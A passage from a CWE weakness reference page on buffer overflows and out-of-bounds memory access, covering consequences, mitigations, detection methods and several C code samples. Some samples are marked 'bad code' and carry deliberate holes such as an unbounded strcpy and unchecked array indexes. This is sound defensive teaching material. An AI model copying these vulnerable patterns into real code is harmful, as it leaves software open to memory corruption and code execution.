ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.823Use of Out-of-range Pointer Offset
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.824Access of Uninitialized Pointer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.825Expired Pointer Dereference
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Often Prevalent)

C++ (Often Prevalent)

Class: Assembly (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands; Modify Memory

If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.
Availability
Confidentiality

Technical Impact: Read Memory; DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
Confidentiality

Technical Impact: Read Memory

In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(bad code)
Example Language:
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);

/*routine that ensures user_supplied_addr is in the right format for conversion */

validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);
}

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2

This example applies an encoding procedure to an input string and stores it into a buffer.

(bad code)
Example Language:
char * copy_input(char *user_supplied_string){
int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
if ( MAX_SIZE <= strlen(user_supplied_string) ){
die("user string too long, die evil hacker!");
}
dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){
if( '&' == user_supplied_string[i] ){
dst_buf[dst_index++] = '&';
dst_buf[dst_index++] = 'a';
dst_buf[dst_index++] = 'm';
dst_buf[dst_index++] = 'p';
dst_buf[dst_index++] = ';';
}
else if ('<' == user_supplied_string[i] ){

/* encode to &lt; */
}
else dst_buf[dst_index++] = user_supplied_string[i];
}
return dst_buf;
}

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 3

The following example asks a user for an offset into an array to select an item.

(bad code)
Example Language:

int main (int argc, char **argv) {
char *items[] = {"boat", "car", "truck", "train"};
int index = GetUntrustedOffset();
printf("You selected %s\n", items[index-1]);
}

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Example 4

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

(bad code)
Example Language:
int getValueFromArray(int *array, int len, int index) {

int value;

// check that the array index is less than the maximum

// length of the array
if (index < len) {

// get the value at the specified index of the array
value = array[index];
}
// if array index is invalid then output error message

// and return value indicating error
else {
printf("Value is: %d\n", array[index]);
value = -1;
}

return value;
}

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

(good code)
Example Language:

...

// check that the array index is within the correct

// range of values for the array
if (index >= 0 && index < len) {

...

Example 5

Windows provides the _mbs family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: _mbsinc _mbsdec _mbsncat _mbsncpy _mbsnextc _mbsnset _mbsrev _mbsset _mbsstr _mbstok _mbccpy _mbslen

+ Observed Examples
ReferenceDescription
Classic stack-based buffer overflow in media player using a long entry in a playlist
Heap-based buffer overflow in media player using a long entry in a playlist
large precision value in a format string triggers overflow
negative offset value leads to out-of-bounds read
malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption
chain: lack of synchronization leads to memory corruption
attacker-controlled array index leads to code execution
chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead.
chain: incorrect calculations lead to incorrect pointer dereference and memory corruption
product accepts crafted messages that lead to a dereference of an arbitrary pointer
chain: malformed input causes dereference of uninitialized memory
OS kernel trusts userland-supplied length value, allowing reading of sensitive information
buffer overflow involving a regular expression with a large number of captures
chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119).
+ Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Note: This is not a complete solution, since many buffer overflows are not related to strings.

Phase: Build and Compilation

Strategy: Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness: Defense in Depth

Note: This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

  • Double check that your buffer is as large as you specify.
  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
  • Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.
  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Operation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness: Defense in Depth

Note: This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy: Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

Effectiveness: Defense in Depth

Note: This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness: Moderate

Note: This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Note: Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode Quality Analysis
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anom